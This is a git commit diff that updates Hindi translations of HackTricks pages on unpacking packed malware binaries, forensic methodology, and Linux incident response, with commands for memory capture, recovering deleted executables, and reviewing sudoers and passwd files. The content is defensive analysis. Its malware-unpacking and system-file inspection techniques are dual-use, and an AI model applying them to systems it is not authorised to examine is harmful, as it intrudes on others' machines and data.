Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

This commit is contained in:
Translator 2024-07-19 04:55:01 +00:00
parent eed45cd20b
commit 2fedea57f8
101 changed files with 5109 additions and 3615 deletions

View file

@ -1,49 +1,54 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि **आपकी कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें** और PRs सबमिट करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
# पैक किए गए बाइनरी की पहचान
# पैक किए गए बाइनरी की पहचान करना
* **स्ट्रिंग की कमी**: पैक किए गए बाइनरी में लगभग कोई स्ट्रिंग न होना एक सामान्य बात है
* बहुत सारी **अनउसेड स्ट्रिंग्स**: जब कोई मैलवेयर किसी प्रकार के कमर्शियल पैकर का उपयोग कर रहा होता है तो बहुत सारी स्ट्रिंग्स बिना क्रॉस-रेफरेंसेस के पाना आम होता है। यदि ये स्ट्रिंग्स मौजूद हैं तो यह यह नहीं मतलब है कि बाइनरी पैक नहीं है।
* आप भी कुछ टूल्स का उपयोग कर सकते हैं ताकि आप जांच सकें कि कौन सा पैकर उपयोग किया गया था बाइनरी को पैक करने के लिए:
* **स्ट्रिंग्स की कमी**: यह सामान्य है कि पैक किए गए बाइनरी में लगभग कोई स्ट्रिंग नहीं होत है
* बहुत सारी **अप्रयुक्त स्ट्रिंग्स**: इसके अलावा, जब कोई मैलवेयर किसी प्रकार के व्यावसायिक पैकर का उपयोग कर रहा होता है, तो बहुत सारी स्ट्रिंग्स बिना क्रॉस-रेफरेंस के मिलना सामान्य है। भले ही ये स्ट्रिंग्स मौजूद हों, इसका मतलब यह नहीं है कि बाइनरी पैक नहीं है।
* आप यह पता लगाने के लिए कुछ टूल का उपयोग कर सकते हैं कि बाइनरी को पैक करने के लिए कौन सा पैकर उपयोग किया गया था:
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
* [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
* [Language 2000](http://farrokhi.net/language/)
# मूल अनुशंसाए
# बुनियादी सिफारिशे
* **शुरू** करें पैक किए गए बाइनरी का विश्लेषण **नीचे से IDA में और ऊपर की ओर**। अनपैकर्स उस समय बाहर निकल जाते हैं जब अनपैक कोड बाहर निकलता है, इसलिए यह असंभाव है कि अनपैकर शुरुआत में अनपैक कोड को निष्पादित करने के लिए क्रियान्वित करेगा।
* **JMP's** या **CALLs** की खोज करें **रजिस्टर्स** या **मेमोरी** के **क्षेत्रों** के लिए। यहाँ तक कि **फंक्शन्स पुशिंग आर्ग्यूमेंट्स और एड्रेस डायरेक्शन पर कॉल करने वाले `retn`** की भी खोज करें, क्योंकि इस मामले में फंक्शन का रिटर्न पहले स्टैक पर पुश किए गए पते को कॉल करने से पहले हो सकता है।
* `VirtualAlloc` पर **ब्रेकपॉइंट** लगाएं क्योंकि यह मेमोरी में स्थान आवंटित करता है जहां कार्यक्रम अनपैक कोड लिख सकता है। "यूजर कोड तक चलें" या F8 का उपयोग करें फ़ंक्शन को निष्पादित करने के बाद EAX के अंदर मान प्राप्त करने के लिए और "**डंप में उस पते का पालन करें**"। आप कभी नहीं जान सकते कि क्या यह वह क्षेत्र है जहां अनपैक कोड सहेजा जाएगा।
* **`VirtualAlloc`** के साथ मान "**40**" के रूप में एक तर्क का उपयोग करना Read+Write+Execute (कुछ कोड जिसे निष्पादित करने की आवश्यकता है यहाँ कॉपी किया जाएगा)।
* कोड को **अनपैक** करते समय अक्सर **कई कॉल्स** को **अंकगणितीय कार्यों** और फंक्शन्स जैसे **`memcopy`** या **`Virtual`**`Alloc` के लिए पाना सामान्य है। यदि आप खुद को एक फंक्शन में पाते हैं जो केवल अंकगणितीय कार्यों को करने लगता है और शायद कुछ `memcopy` , तो सिफारिश है कि आप कोड के अंत को खोजने की कोशिश करें (शायद एक JMP या किसी रजिस्टर को कॉल करने की) **या** कम से कम **आखिरी फंक्शन को कॉल करने की** और फिर उसे चलाने की कोशिश करें क्योंकि कोड दिलचस्प नहीं है।
* कोड को **अनपैक** करते समय **ध्यान दें** जब भी आप **मेमोरी क्षेत्र बदलते हैं** क्योंकि मेमोरी क्षेत्र का परिवर्तन अनपैकिंग कोड की **शुरुआत** का संकेत हो सकता है। आप आसानी से प्रक्रिया हैकर का उपयोग करके एक मेमोरी क्षेत्र को डंप कर सकते हैं (प्रक्रिया --> गुण --> मेमोरी)।
* कोड को अनपैक करने की कोशिश करते समय एक अच्छा तरीका है **जानने के लिए कि क्या आप पहले से ही अनपैक कोड के साथ काम कर रहे हैं** (ताकि आप इसे बस डंप कर सकें) बाइनरी की स्ट्रिंग्स की जांच करना। यदि किसी समय आप किसी जंप को करते हैं (शायद मेमोरी क्षेत्र बदलते हैं) और आप देखते हैं कि **बहुत सारी स्ट्रिंग्स जोड़ दी गई हैं**, तो आप जान सकते हैं **आप अनपैक कोड के साथ काम कर रहे हैं**।\
हालांकि, यदि पैकर में पहले से ही बहुत सारी स्ट्रिंग्स हैं तो आप देख सकते हैं कि "http" शब्द कितनी स्ट्रिंग्स में है और देख सकते हैं कि क्या यह संख्या बढ़ती है।
* जब आप किसी मेमोरी क्षेत्र से एक एक्जीक्यूटेबल को डंप करते हैं तो आप कुछ हेडर्स को ठीक कर सकते हैं [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) का उपयोग करके।
* पैक किए गए बाइनरी का **विश्लेषण** **नीचे से शुरू करें और ऊपर की ओर बढ़ें**। अनपैकर्स तब समाप्त होते हैं जब अनपैक किया गया कोड समाप्त होता है, इसलिए यह संभावना नहीं है कि अनपैकर शुरू में अनपैक किए गए कोड को निष्पादन पास करता है।
* **रजिस्टर** या **मेमोरी** के **क्षेत्रों** के लिए **JMP's** या **CALLs** की खोज करें। इसके अलावा, **फंक्शंस जो तर्कों और एक पते को धक्का देते हैं और फिर `retn` को कॉल करते हैं** के लिए खोजें, क्योंकि उस मामले में फंक्शन की वापसी उस पते को कॉल कर सकती है जो स्टैक में धकेला गया था।
* `VirtualAlloc` पर एक **ब्रेकपॉइंट** रखें क्योंकि यह मेमोरी में स्थान आवंटित करता है जहां प्रोग्राम अनपैक किए गए कोड को लिख सकता है। "यूजर कोड पर चलाएं" या F8 का उपयोग करें **EAX के अंदर मान प्राप्त करने के लिए** फंक्शन को निष्पादित करने के बाद और "**डंप में उस पते का पालन करें**"। आप कभी नहीं जानते कि क्या यह वह क्षेत्र है जहां अनपैक किया गया कोड सहेजा जाएगा।
* **`VirtualAlloc`** के साथ मान "**40**" एक तर्क के रूप में पढ़ें + लिखें + निष्पादित करें (कुछ कोड जिसे निष्पादन की आवश्यकता है, यहां कॉपी किया जाएगा)।
* **कोड को अनपैक करते समय** यह सामान्य है कि **गणितीय संचालन** और **`memcopy`** या **`Virtual`**`Alloc` जैसी फंक्शंस के लिए **कई कॉल** मिलें। यदि आप किसी फंक्शन में हैं जो स्पष्ट रूप से केवल गणितीय संचालन करता है और शायद कुछ `memcopy` करता है, तो सिफारिश है कि आप **फंक्शन के अंत को खोजने की कोशिश करें** (शायद किसी रजिस्टर के लिए एक JMP या कॉल) **या** कम से कम **अंतिम फंक्शन के लिए कॉल** करें और फिर चलाएं क्योंकि कोड दिलचस्प नहीं है।
* कोड को अनपैक करते समय **ध्यान दें** जब भी आप **मेमोरी क्षेत्र बदलते हैं** क्योंकि मेमोरी क्षेत्र में परिवर्तन **अनपैकिंग कोड की शुरुआत** को इंगित कर सकता है। आप प्रोसेस हैकर का उपयोग करके आसानी से मेमोरी क्षेत्र को डंप कर सकते हैं (प्रोसेस --> प्रॉपर्टीज --> मेमोरी)।
* कोड को अनपैक करने की कोशिश करते समय यह जानने का एक अच्छा तरीका है कि **क्या आप पहले से ही अनपैक किए गए कोड के साथ काम कर रहे हैं** (ताकि आप इसे केवल डंप कर सकें) यह है कि **बाइनरी की स्ट्रिंग्स की जांच करें**। यदि किसी बिंदु पर आप एक जंप करते हैं (शायद मेमोरी क्षेत्र बदलते हुए) और आप देखते हैं कि **बहुत सारी स्ट्रिंग्स जोड़ी गई हैं**, तो आप जान सकते हैं **आप अनपैक किए गए कोड के साथ काम कर रहे हैं**।\
हालांकि, यदि पैकर में पहले से ही बहुत सारी स्ट्रिंग्स हैं, तो आप देख सकते हैं कि कितनी स्ट्रिंग्स में "http" शब्द है और देखें कि क्या यह संख्या बढ़ती है।
* जब आप मेमोरी के एक क्षेत्र से एक निष्पादन योग्य डंप करते हैं, तो आप [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) का उपयोग करके कुछ हेडर ठीक कर सकते हैं।
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि **आपकी कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें** और PRs सबमिट करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# मूल फोरेंसिक मेथडोलॉजी
# बेसिक फॉरेंसिक मेथोडोलॉजी
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**दी पीएएस परिवार**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
## छवि बनाना और माउंट करना
## इमेज बनाना और माउंट करना
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %}
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
@ -20,21 +23,21 @@
## मैलवेयर विश्लेषण
यह **आवश्यक नहीं है कि आप छवि के साथ एक बार यह करने के लिए पहला कदम उठाएं**। लेकिन आप इस मैलवेयर विश्लेषण तकनीकों का उपयोग अलग-अलग तरीके से कर सकते हैं यदि आपके पास एक फ़ाइल, एक फ़ाइल-सिस्टम छवि, मेमोरी छवि, पीकैप... है, तो यह **कार्रवाई ध्यान में रखना अच्छा है**:
यह **छवि प्राप्त करने के बाद करने के लिए पहला कदम जरूरी नहीं है**। लेकिन आप इस मैलवेयर विश्लेषण तकनीकों का स्वतंत्र रूप से उपयोग कर सकते हैं यदि आपके पास एक फ़ाइल, फ़ाइल-प्रणाली छवि, मेमोरी छवि, pcap... है, इसलिए यह **इन क्रियाओं को ध्यान में रखना अच्छा है**:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
## छवि की जांच
## इमेज का निरीक्षण करना
यदि आपको एक उपकरण की **फोरेंसिक छवि** दी गई है तो आप **विभाजनों, फ़ाइल-सिस्टम** का उपयोग करना शुरू कर सकते हैं और पोटेंशियली **दिलचस्प फ़ाइलें पुनः प्राप्त** कर सकते हैं (हालांकि हटाई गई भी)। इसे सीखने के लिए:
यदि आपको एक **फॉरेंसिक इमेज** दी गई है, तो आप **पार्टीशनों, फ़ाइल-प्रणाली** का विश्लेषण करना शुरू कर सकते हैं और **संभावित रूप से** **दिलचस्प फ़ाइलों** (यहां तक कि हटाई गई फ़ाइलों) को **पुनर्प्राप्त** कर सकते हैं। जानें कैसे:
{% content-ref url="partitions-file-systems-carving/" %}
[partitions-file-systems-carving](partitions-file-systems-carving/)
{% endcontent-ref %}
उपयोग किए गए ओएस और प्लेटफ़ॉर्म के आधार पर विभिन्न दिलचस्प आर्टिफैक्ट्स खोजने चाहिए:
उपयोग किए गए OS और यहां तक कि प्लेटफार्म के आधार पर विभिन्न दिलचस्प कलाकृतियों की खोज की जानी चाहिए:
{% content-ref url="windows-forensics/" %}
[windows-forensics](windows-forensics/)
@ -48,55 +51,58 @@
[docker-forensics.md](docker-forensics.md)
{% endcontent-ref %}
## विशेष फ़ाइल-प्रकार और सॉफ़्टवेयर की गहन जांच
## विशिष्ट फ़ाइल-प्रकारों और सॉफ़्टवेयर की गहरी जांच
यदि आपके पास बहुत **संदेहास्पद फ़ाइल** है, तो **फ़ाइल-प्रकार और सॉफ़्टवेयर** पर निर्भर करता है कि कौन से **ट्रिक्स** उपयोगी हो सकते हैं।\
कुछ दिलचस्प ट्रिक्स सीखने के लिए निम्नलिखित पृष्ठ पढ़ें:
यदि आपके पास बहुत **संदिग्ध** **फ़ाइल** है, तो **फ़ाइल-प्रकार और सॉफ़्टवेयर** के आधार पर जो इसे बनाया है, कई **ट्रिक्स** उपयोगी हो सकते हैं।\
कुछ दिलचस्प ट्रिक्स जानने के लिए निम्नलिखित पृष्ठ पढ़ें:
{% content-ref url="specific-software-file-type-tricks/" %}
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
{% endcontent-ref %}
मैं विशेष रूप से पृष्ठ का उल्लेख करना चाहता हूँ:
मैं पृष्ठ का विशेष उल्लेख करना चाहता हूँ:
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
{% endcontent-ref %}
## मेमोरी डंप जांच
## मेमोरी डंप निरीक्षण
{% content-ref url="memory-dump-analysis/" %}
[memory-dump-analysis](memory-dump-analysis/)
{% endcontent-ref %}
## Pcap जांच
## Pcap निरीक्षण
{% content-ref url="pcap-inspection/" %}
[pcap-inspection](pcap-inspection/)
{% endcontent-ref %}
## **एंटी-फरेंसिक तकनीकें**
## **एंटी-फरेंसिक तकनीकें**
एंटी-फोरेंसिक तकनीकों का संभावित उपयोग ध्यान में रखें:
एंटी-फॉरेंसिक तकनीकों के संभावित उपयोग को ध्यान में रखें:
{% content-ref url="anti-forensic-techniques.md" %}
[anti-forensic-techniques.md](anti-forensic-techniques.md)
{% endcontent-ref %}
## धमकी हंटिंग
## खतरे की खोज
{% content-ref url="file-integrity-monitoring.md" %}
[file-integrity-monitoring.md](file-integrity-monitoring.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**दी पीएएस परिवार**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -64,11 +64,11 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
इसे **संकलित** करने के लिए, आपको **उसी कर्नेल** का उपयोग करना होगा जो पीड़ित मशीन उपयोग कर रही है।
{% hint style="info" %}
याद रखें कि आप **LiME या कोई अन्य चीज़** पीड़ित मशीन में स्थापित नहीं कर सकते क्योंकि इससे इसमें कई परिवर्तन होंगे
याद रखें कि आप **पीड़ित मशीन में LiME या कोई अन्य चीज़ स्थापित नहीं कर सकते** क्योंकि इससे इसमें कई परिवर्तन होंगे
{% endhint %}
तो, यदि आपके पास Ubuntu का एक समान संस्करण है तो आप `apt-get install lime-forensics-dkms` का उपयोग कर सकते हैं।\
अन्य मामलों में, आपको [**LiME**](https://github.com/504ensicsLabs/LiME) को github से डाउनलोड करना होगा और इसे सही कर्नेल हेडर के साथ संकलित करना होगा। पीड़ित मशीन के **सटीक कर्नेल हेडर** प्राप्त करने के लिए, आप बस **निर्देशिका** `/lib/modules/<kernel version>` को अपनी मशीन पर **कॉपी** कर सकते हैं, और फिर **LiME** को उनका उपयोग करके संकलित कर सकते हैं:
तो, यदि आपके पास Ubuntu का एक समान संस्करण है, तो आप `apt-get install lime-forensics-dkms` का उपयोग कर सकते हैं।\
अन्य मामलों में, आपको [**LiME**](https://github.com/504ensicsLabs/LiME) को github से डाउनलोड करना होगा और इसे सही कर्नेल हेडर के साथ संकलित करना होगा। पीड़ित मशीन के **सटीक कर्नेल हेडर** प्राप्त करने के लिए, आप बस **निर्देशिका** `/lib/modules/<kernel version>` को अपनी मशीन पर कॉपी कर सकते हैं, और फिर **LiME** को उनका उपयोग करके संकलित कर सकते हैं:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -181,7 +181,7 @@ Linux सिस्टम घटकों की अखंडता सुनि
## स्थापित कार्यक्रमों के लिए खोजें
Debian और RedHat दोनों सिस्टम पर स्थापित कार्यक्रमों की प्रभावी खोज के लिए, सामान्य निर्देशिकाओं में मैनुअल जांच के साथ-साथ सिस्टम लॉग और डेटाबेस का उपयोग करने पर विचार करें।
Debian और RedHat सिस्टम पर स्थापित कार्यक्रमों की प्रभावी खोज के लिए, सामान्य निर्देशिकाओं में मैनुअल जांच के साथ-साथ सिस्टम लॉग और डेटाबेस का उपयोग करने पर विचार करें।
* Debian के लिए, पैकेज इंस्टॉलेशन के बारे में विवरण प्राप्त करने के लिए _**`/var/lib/dpkg/status`**_ और _**`/var/log/dpkg.log`**_ की जांच करें, विशेष जानकारी के लिए `grep` का उपयोग करें।
* RedHat उपयोगकर्ता स्थापित पैकेजों की सूची के लिए `rpm -qa --root=/mntpath/var/lib/rpm` के साथ RPM डेटाबेस को क्वेरी कर सकते हैं।
@ -218,7 +218,7 @@ cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## Autostart स्थानों का निरीक्षण करें
## ऑटॉस्टार्ट स्थानों का निरीक्षण करें
### अनुसूचित कार्य
```bash
@ -258,7 +258,7 @@ Linux कर्नेल मॉड्यूल, जो अक्सर मैल
### Other Autostart Locations
Linux उपयोगकर्ता लॉगिन पर स्वचालित रूप से कार्यक्रमों को निष्पादित करने के लिए विभिन्न फ़ाइलों का उपयोग करता है, जो संभावित रूप से मैलवेयर को आश्रय दे सकता है:
Linux विभिन्न फ़ाइलों का उपयोग करता है जो उपयोगकर्ता लॉगिन पर स्वचालित रूप से कार्यक्रमों को निष्पादित करते हैं, जो संभावित रूप से मैलवेयर को आश्रय दे सकते हैं:
* **/etc/profile.d/**\*, **/etc/profile**, और **/etc/bash.bashrc**: किसी भी उपयोगकर्ता लॉगिन के लिए निष्पादित होते हैं।
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, और **\~/.config/autostart**: उपयोगकर्ता-विशिष्ट फ़ाइलें जो उनके लॉगिन पर चलती हैं।
@ -300,8 +300,8 @@ Linux सिस्टम लॉग और ऑडिट उपप्रणाल
अतिरिक्त विशेषाधिकार प्रदान करने वाली फ़ाइलों की जाँच करें:
* अप्रत्याशित उपयोगकर्ता विशेषाधिकारों के लिए `/etc/sudoers` की समीक्षा करें जो दिए गए हो सकते हैं।
* अप्रत्याशित उपयोगकर्ता विशेषाधिकारों के लिए `/etc/sudoers.d/` की समीक्षा करें जो दिए गए हो सकते हैं।
* अप्रत्याशित उपयोगकर्ता विशेषाधिकारों के लिए `/etc/sudoers` की समीक्षा करें जो प्रान किए गए हो सकते हैं।
* अप्रत्याशित उपयोगकर्ता विशेषाधिकारों के लिए `/etc/sudoers.d/` की समीक्षा करें जो प्रान किए गए हो सकते हैं।
* किसी भी असामान्य समूह सदस्यता या अनुमतियों की पहचान करने के लिए `/etc/groups` की जांच करें।
* किसी भी असामान्य समूह सदस्यता या अनुमतियों की पहचान करने के लिए `/etc/passwd` की जांच करें।
@ -321,7 +321,7 @@ Linux सिस्टम लॉग और ऑडिट उपप्रणाल
[**usbrip**](https://github.com/snovvcrash/usbrip) एक छोटा सा सॉफ़्टवेयर है जो शुद्ध Python 3 में लिखा गया है जो USB इवेंट इतिहास तालिकाओं का निर्माण करने के लिए Linux लॉग फ़ाइलों (`/var/log/syslog*` या `/var/log/messages*` वितरण के आधार पर) को पार्स करता है।
यह जानना दिलचस्प है कि **सभी USBs का उपयोग किया गया है** और यदि आपके पास "उल्लंघन घटनाओं" (उन USBs का उपयोग जो उस सूची में नहीं हैं) को खोजने के लिए एक अधिकृत USBs की सूची है तो यह और भी उपयोगी होगा।
यह जानना दिलचस्प है कि **सभी USBs का उपयोग किया गया है** और यदि आपके पास "उल्लंघन घटनाओं" (उन USBs का उपयोग जो उस सूची में नहीं हैं) को खोजने के लिए एक अधिकृत USBs की सूची है तो यह अधिक उपयोगी होगा।
### Installation
```bash
@ -376,7 +376,7 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
ध्यान दें कि एक **हमलावर** **समय** को **संशोधित** कर सकता है ताकि **फाइलें वैध** **दिखें**, लेकिन वह **inode** को **संशोधित** नहीं कर सकता। यदि आप पाते हैं कि एक **फाइल** यह दर्शाती है कि इसे उसी समय बनाया और संशोधित किया गया था जैसे कि उसी फ़ोल्डर में अन्य फ़ाइलें, लेकिन **inode** **अप्रत्याशित रूप से बड़ा** है, तो उस **फाइल के टाइमस्टैम्प को संशोधित किया गया था**
ध्यान दें कि एक **हमलावर** **समय** को **संशोधित** कर सकता है ताकि **फाइलें वैध** **दिखें**, लेकिन वह **inode** को **संशोधित** नहीं कर सकता। यदि आप पाते हैं कि एक **फाइल** यह दर्शाती है कि इसे उसी समय **बनाया** और **संशोधित** किया गया था जैसे कि उसी फ़ोल्डर में अन्य फ़ाइलें, लेकिन **inode** **अप्रत्याशित रूप से बड़ा** है, तो उस **फाइल के टाइमस्टैम्प को संशोधित किया गया था**
